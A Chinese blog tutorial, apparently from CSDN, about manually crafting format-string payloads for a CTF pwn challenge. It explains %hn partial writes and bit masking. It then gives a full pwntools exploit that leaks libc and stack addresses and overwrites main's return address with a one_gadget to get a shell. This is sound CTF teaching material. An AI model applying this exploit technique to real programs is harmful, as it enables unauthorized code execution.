手动构造格式化字符串payload

本文讲述了在遇到格式化字符串漏洞且自动payload生成受限时,如何手动构造payload修改栈地址,利用&和>>运算获取和修改特定字节,以实现地址操控和权限获取的过程。
摘要由CSDN通过智能技术生成

引言

我们平常遇到格式化字符串漏洞(要修改返回地址的),一般是利用pwntools去自动生成payload去修该返回地址,但当溢出字节不够时,或者p,s被禁用(hgame week1刚出)我们就需要去手动构造payload

这是我们pwntools自动生成的payload

 我们自己手动构造与这个原理是相同的

pay=(b'%'+str(要改成的数).encode()+b'c%13(要改的栈地址的偏移)$hn').ljust(0x28,b'\x00')+p64(stack)#stack是要修改的栈地址

 这里再补充一下知识点

hhn为单字节输出

hn为双字节输出

n为四字节输出

 就是:hhn一次改一个字节,hn一次更改两个字节,n一次更改四个字节

栈指针:a-b-c,只能改c

例题

 IDA分析,函数很简单,while(1)无限循环,明显存在格式化字符串漏洞,我们首先想到用格式化字符串漏洞去泄露函数地址利用libc,之后多次利用格式化字符串漏洞去更改地址为one_gadget

这里还需要补充一个知识点,因为我们一次只能更改两个字节,所以我们怎么去得到那两个字节呢

&运算

print(hex(one_gadget))

print(hex(one_gadget&0xff))

print(hex(one_gadget&0xffff))

>>运算

print(hex(one_gadget))

print(hex(one_gadget>>16))

##8为1字节,16为2字节

print(hex(one_gadget>>32))

找返回地址:

一般可修改的返回地址:printf的返回地址,fmt的返回地址,main函数的返回地址(libc_start_main)

printf的返回地址:pwndbg到printf函数si进入printf函数

 fmt的返回地址:

 main函数的返回地址(libc_start_main):

exp:

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
         gdb.attach(p)
         pause()
p.sendline(str(1))
p.recvuntil("lbs,lbs,lbs\n")
pay1=b'%45$p%47$p'
bug()
p.send(pay1)   
 
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-243-libc.sym['__libc_start_main']
p.recvuntil("0x")
stack=int(p.recv(12),16)
print(hex(libc_base))
print(hex(stack))

one_gadget=libc_base+0xe3b01
print(hex(one_gadget))
print(hex(one_gadget>>16&0xffff))
print(hex(one_gadget>>32))
stack1=stack-560 #printf返回地址
stack2=stack-256 #fmt返回地址
stack3=stack2+0x10 #main返回地址

p.sendline(str(1))

p.recvuntil("lbs,lbs,lbs\n")
pay2=(b'%'+str(one_gadget&0xffff).encode()+b'c%13$hn').ljust(0x28,b'\x00')+p64(stack3)

#修改尾两字节
#bug()
p.sendline(pay2)


p.sendline(str(1))
p.recvuntil("lbs,lbs,lbs\n")
pay3=(b'%'+str(one_gadget>>16&0xffff).encode()+b'c%13$hn').ljust(0x28,b'\x00')+p64(stack3+2)

#修改中间两字节
p.sendline(pay3)


p.sendline(str(1))
p.recvuntil("lbs,lbs,lbs\n")
pay4=(b'%'+str(one_gadget>>32).encode()+b'c%13$hn').ljust(0x28,b'\x00')+p64(stack3+4)
bug()
p.sendline(pay4)
p.sendline("5")

p.interactive()

 获取权限

 

  • 25
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值